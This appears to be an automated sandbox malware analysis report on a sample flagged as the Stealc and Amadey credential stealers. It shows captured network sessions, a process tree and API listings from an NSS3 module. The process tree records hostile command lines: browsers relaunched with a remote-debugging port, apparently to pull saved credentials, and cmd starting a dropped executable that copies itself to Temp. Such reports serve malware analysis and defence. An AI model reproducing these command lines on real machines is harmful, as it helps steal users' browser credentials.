2024-11-20 22:13:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:07 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:08 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:08 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: e7fe902a-801e-0067-6164-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221308Z-178bfbc474b7cbwqhC1NYC8z4n00000000dg0000000009y8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:13:08 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Target ID:	0
Start time:	17:12:17
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd50000
File size:	1'810'432 bytes
MD5 hash:	61ACEE13F680DD57A06B13D1CC04CFCC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1872805672.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1375832690.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1873172118.0000000000D51000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:12:29
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:12:29
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2224,i,15428073326921430912,4792700764699708340,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:12:39
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:12:40
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2188,i,8283749054754101398,9414593298289081245,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:12:40
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:12:40
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	17:12:43
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6672 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:12:43
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6884 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:13:08
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJKKECFIE.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:13:08
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:13:08
Start date:	20/11/2024
Path:	C:\Users\user\DocumentsFHJKKECFIE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFHJKKECFIE.exe"
Imagebase:	0x5f0000
File size:	1'912'832 bytes
MD5 hash:	EFA562638C762CA57F68C4E25E85718B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.1865089955.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.1905571149.00000000005F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:13:10
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x100000
File size:	1'912'832 bytes
MD5 hash:	EFA562638C762CA57F68C4E25E85718B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.1943174621.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.1902794035.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:13:11
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x100000
File size:	1'912'832 bytes
MD5 hash:	EFA562638C762CA57F68C4E25E85718B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1911996881.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.1957572656.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	17:13:40
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6880 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	17:14:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x100000
File size:	1'912'832 bytes
MD5 hash:	EFA562638C762CA57F68C4E25E85718B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2379642597.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2600266215.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 6CE76E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFC2120,6CE77E60), ref: 6CE76EBC
TlsGetValue.KERNEL32 ref: 6CE76EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE76EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE76F25

Part of subcall function 6CE4A900: TlsGetValue.KERNEL32(00000000,?,6CFC14E4,?,6CDE4DD9), ref: 6CE4A90F
Part of subcall function 6CE4A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE4A94F

PR_Unlock.NSS3 ref: 6CE76F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE76FA9
TlsGetValue.KERNEL32 ref: 6CE770B4
EnterCriticalSection.KERNEL32(?), ref: 6CE770C8
PR_CallOnce.NSS3(6CFC24C0,6CEB7590), ref: 6CE77104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE77117
SECOID_Init.NSS3 ref: 6CE77128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE7714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE7717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE771A9
PR_NotifyAllCondVar.NSS3 ref: 6CE771CF
PR_Unlock.NSS3 ref: 6CE771DD
free.MOZGLUE(?), ref: 6CE771EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE77208
free.MOZGLUE(00000000), ref: 6CE77221
free.MOZGLUE(00000001), ref: 6CE77235
TlsGetValue.KERNEL32 ref: 6CE7724A
EnterCriticalSection.KERNEL32(?), ref: 6CE7725E
PR_NotifyCondVar.NSS3 ref: 6CE77273
PR_Unlock.NSS3 ref: 6CE77281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE77291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE772B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE772D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE772E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE77301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE77310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE77335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE77344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE77363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE77372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CFB0148,,defaultModDB,internalKeySlot), ref: 6CE774CC
free.MOZGLUE(00000000), ref: 6CE77513
free.MOZGLUE(00000000), ref: 6CE7751B
free.MOZGLUE(00000000), ref: 6CE77528
free.MOZGLUE(00000000), ref: 6CE7753C
free.MOZGLUE(00000000), ref: 6CE77550
free.MOZGLUE(00000000), ref: 6CE77561
free.MOZGLUE(00000000), ref: 6CE77572
free.MOZGLUE(00000000), ref: 6CE77583
free.MOZGLUE(00000000), ref: 6CE77594
free.MOZGLUE(00000000), ref: 6CE775A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE775BD
free.MOZGLUE(00000000), ref: 6CE775C8
free.MOZGLUE(00000000), ref: 6CE775F1
PR_NewLock.NSS3 ref: 6CE77636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE77686
PR_NewLock.NSS3 ref: 6CE776A2

Part of subcall function 6CF298D0: calloc.MOZGLUE(00000001,00000084,6CE50936,00000001,?,6CE5102C), ref: 6CF298E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE776B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE77707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE7771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE77731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE7774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE77770
free.MOZGLUE(?), ref: 6CE77779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE777AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE777C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE777DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE77821
PORT_Alloc_Util.NSS3(?), ref: 6CE77837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE7785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE7786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE778AC
free.MOZGLUE(00000000), ref: 6CE778BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE778F3
free.MOZGLUE(00000000), ref: 6CE778FC
free.MOZGLUE(00000000), ref: 6CE7791C

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

Strings

kbi., xrefs: 6CE77886
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE774C7
extern:, xrefs: 6CE7772B
Spac, xrefs: 6CE77389
dbm:, xrefs: 6CE77716
dll, xrefs: 6CE7788E
rdb:, xrefs: 6CE77744
sql:, xrefs: 6CE776FE
,defaultModDB,internalKeySlot, xrefs: 6CE7748D, 6CE774AA
NSS Internal Module, xrefs: 6CE774A2, 6CE774C6

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 80bd46988f60ce32f81ad591614f2ea6414d603d42c47412f13a1f206df53856
Instruction ID: 75bb9fee912c45c3e7c6452c0614fe8c94d3f16cb0870241d38a41b0eb8a93b7
Opcode Fuzzy Hash: 80bd46988f60ce32f81ad591614f2ea6414d603d42c47412f13a1f206df53856
Instruction Fuzzy Hash: 7252EFB1E113019BEB229F64DC45BAB7BB4EF0630CF254029EC19A7B41E771D954CBA2

Function 6CEB09B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CEB1AD3), ref: 6CEB09D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CEB1AD3), ref: 6CEB09E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB0A18
PR_SetError.NSS3(00000000,00000000), ref: 6CEB0A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEB0CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEB0D05
EnterCriticalSection.KERNEL32(?), ref: 6CEB0D19
PR_Unlock.NSS3(?), ref: 6CEB0D36
free.MOZGLUE(?), ref: 6CEB0D75
TlsGetValue.KERNEL32 ref: 6CEB0DA1
EnterCriticalSection.KERNEL32(?), ref: 6CEB0DB5
PR_Unlock.NSS3(?), ref: 6CEB0DEB
PORT_Alloc_Util.NSS3(?), ref: 6CEB0DFF
PR_Unlock.NSS3(?), ref: 6CEB0E37
free.MOZGLUE(?), ref: 6CEB0E4E
PR_SetError.NSS3(00000000,00000000), ref: 6CEB0E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CEB0E9A
TlsGetValue.KERNEL32 ref: 6CEB0F23
EnterCriticalSection.KERNEL32(?), ref: 6CEB0F37
PR_SetError.NSS3(00000000,00000000), ref: 6CEB0FC7

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PR_Unlock.NSS3(?), ref: 6CEB0FDE
TlsGetValue.KERNEL32 ref: 6CEB0FFA
EnterCriticalSection.KERNEL32(?), ref: 6CEB100E
PR_Unlock.NSS3(?), ref: 6CEB1050
PR_Unlock.NSS3(?), ref: 6CEB1073
TlsGetValue.KERNEL32 ref: 6CEB1087
EnterCriticalSection.KERNEL32(?), ref: 6CEB109B
PR_Unlock.NSS3(?), ref: 6CEB10B8
free.MOZGLUE(?), ref: 6CEB1113
PORT_Alloc_Util.NSS3(?), ref: 6CEB1151
free.MOZGLUE(?), ref: 6CEB11AB
TlsGetValue.KERNEL32 ref: 6CEB1296
EnterCriticalSection.KERNEL32(?), ref: 6CEB12AB
PR_Unlock.NSS3(?), ref: 6CEB12D9
TlsGetValue.KERNEL32 ref: 6CEB12F4
EnterCriticalSection.KERNEL32(?), ref: 6CEB130C
PR_Unlock.NSS3(?), ref: 6CEB1340
TlsGetValue.KERNEL32 ref: 6CEB1354
EnterCriticalSection.KERNEL32(?), ref: 6CEB136C
PR_Unlock.NSS3(?), ref: 6CEB13A3
TlsGetValue.KERNEL32 ref: 6CEB13BA
EnterCriticalSection.KERNEL32(?), ref: 6CEB13CF
PR_Unlock.NSS3(?), ref: 6CEB13FB

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEB141E

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

